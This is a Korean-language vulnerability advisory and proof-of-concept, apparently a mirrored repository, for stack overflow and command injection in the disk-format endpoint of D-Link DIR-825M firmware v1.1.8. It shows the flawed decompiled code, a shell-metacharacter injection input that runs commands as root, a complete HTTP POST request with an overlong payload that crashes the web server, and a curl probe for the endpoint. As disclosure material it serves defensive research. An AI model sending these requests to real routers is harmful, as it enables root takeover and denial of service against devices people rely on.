
D-Link DIR-825M의 /boafrm/formDiskFormat에서 스택 버퍼 오버플로우 및 명령 주입에 대한 개념 증명 익스플로잇으로, 펌웨어 v1.1.8에서 루트 권한으로 원격 코드 실행을 가능하게 합니다.
| 필드 | 값 |
|---|---|
| 벤더 | D-Link |
| 제품 | D-Link DIR-825M (동일한 펌웨어 코드베이스를 공유하는 다른 모델 포함) |
| 영향을 받는 버전 | 펌웨어 v1.1.8 |
| 취약점 유형 | 스택 기반 버퍼 오버플로우 (CWE-121), 명령 주입 (CWE-78) |
| 벤더 홈페이지 | https://www.dlink.com/ |
라우터 펌웨어에 대한 보안 검토 중 /boafrm/formDiskFormat 엔드포인트에서 심각한 취약점이 확인되었습니다.
이 취약점은 파티션 포맷을 처리하는 sub_46725C 함수에 위치합니다. 이 함수는 HTTP POST 요청에서 사용자 제어 가능한 partition 매개변수를 가져옵니다. 이 매개변수에 대한 사전 검증, 확인 또는 길이 검사 없이 프로그램은 다음과 같은 여러 안전하지 않은 작업을 수행합니다:
sprintf를 사용하여 매개변수를 작은 로컬 스택 버퍼 v9(132바이트만 할당됨)에 포맷합니다.system()에 전달하여 시스템 유틸리티를 실행합니다.공격자는 partition 매개변수에 셸 메타문자(예: ;, &, |)를 주입하여 root 권한으로 임의의 시스템 명령을 실행하거나, 과도하게 긴 문자열을 전달하여 스택 버퍼 오버플로우를 유발하고 제어 흐름을 탈취할 수 있습니다.
/boafrm/formDiskFormat (또는 유사한 디스크 포맷 처리 엔드포인트)sub_46725C이 취약점은 안전하지 않은 문자열 포맷과 검증되지 않은 입력의 시스템 셸 직접 실행이라는 두 가지 동시적인 프로그래밍 결함에서 비롯됩니다.

sub_46725C 내부에서 partition 매개변수는 가져와져 v2에 저장됩니다:
v2 = (const char *)sub_41351C(a1, "partition", "");
매개변수가 비어 있지 않으면 프로그램은 즉시 마운트 해제 명령을 구성하고 실행합니다:
sprintf(v9, "umount /dev/%s >/dev/null 2>&1", v2);
system(v9);
v2는 ;와 같은 문자를 정화하지 않고 명령 문자열에 직접 포함되므로, sda1;+sleep+5; 입력은 다음과 같이 실행됩니다:
umount /dev/sda1; sleep 5; >/dev/null 2>&1
이는 임의의 셸 명령 실행을 직접적으로 유발합니다.
로컬 버퍼 v9는 제한된 크기로 스택에 선언됩니다:
char v9[132];
프로그램은 sprintf를 사용하여 사용자 입력을 v9에 복사합니다:
sprintf(v9, "mkdir -p /var/tmp/usb/%s >/dev/null 2>&1", v2);
sprintf는 경계 검사를 수행하지 않기 때문에, 약 90바이트보다 긴 partition 매개변수는 v9의 경계를 넘어 스택 프레임(저장된 프레임 포인터 및 반환 주소(MIPS/ARM의 $ra) 포함)을 덮어씁니다.
공격자는 이 취약점을 악용하여 다음과 같은 결과를 얻을 수 있습니다:
root) 권한으로 임의의 셸 명령을 실행합니다.과도하게 큰 partition 매개변수를 제공하면 스택이 손상되어 세그멘테이션 오류가 발생하고 웹 서버 데몬이 충돌합니다.
POST /boafrm/formDiskFormat HTTP/1.1
Host: 192.168.0.1
Content-Length: 655
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.0.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.0.1/diskformat.htm
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: webuicookie=16041526311804289383
Connection: keep-alive
partition=sda1aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&systype=ext2&Apply+Changes=Apply+Changes&submit_url=%2Fdiskinfo.htm


본 저장소는 CVE-2026-82592(D-Link DIR-825M 디스크 포맷 인터페이스 스택 오버플로우 + 명령 주입 RCE) 취약점 PoC의 중계 배포 이미지입니다(기술 분석은 위의 원본 보고서 formDiskFormat.md 참조). 내용은 상위 공개 PoC 보고서를 미러링한 것으로, 보관 및 배포 목적으로만 사용됩니다. PoC는 보안 연구, 취약점 검증 및 승인된 테스트에만 사용하시기 바라며, 승인되지 않은 대상에 사용하지 마십시오.
POST /boafrm/formDiskFormatpartition 매개변수에 셸 메타문자 주입(명령 주입) 또는 초장길이 패딩 전송(스택 오버플로우)핵심 원리: 파티션 포맷을 처리하는 sub_46725C 함수가 사용자 제어 가능한 partition 매개변수를 두 명령에 직접 연결합니다 — sprintf(v9, "mkdir -p /var/tmp/usb/%s ...", v2)(v9는 132바이트에 불과하며 경계 검사가 없어 약 90바이트 초과 시 $ra를 덮어씀) 및 sprintf(v9, "umount /dev/%s ...", v2); system(v9)(; & | 등의 메타문자가 그대로 셸에 전달됨).
curl -s -o /dev/null -w "%{http_code}" http://<라우터 IP>/boafrm/formDiskFormat
# 200 또는 302 반환(404가 아닌 경우) 시 인터페이스 존재
POST /boafrm/formDiskFormat HTTP/1.1
Content-Type: application/x-www-form-urlencoded
partition=sda1aaaa...(초장길이 패딩)&systype=ext2&Apply+Changes=Apply+Changes&submit_url=%2Fdiskinfo.htm
본 PoC는 교육, 보안 연구 및 승인된 테스트 목적으로만 제공되며, 본인 소유 또는 명시적 승인을 받은 장치에서만 실행할 수 있습니다. 악용 시 root 권한으로 명령이 실행되거나 장치의 웹 서비스가 충돌할 수 있으므로, 폐기 가능한 에뮬레이션 환경에서 테스트하시기 바랍니다.
reports/Dlink/formDiskFormat/)LICENSE 참조).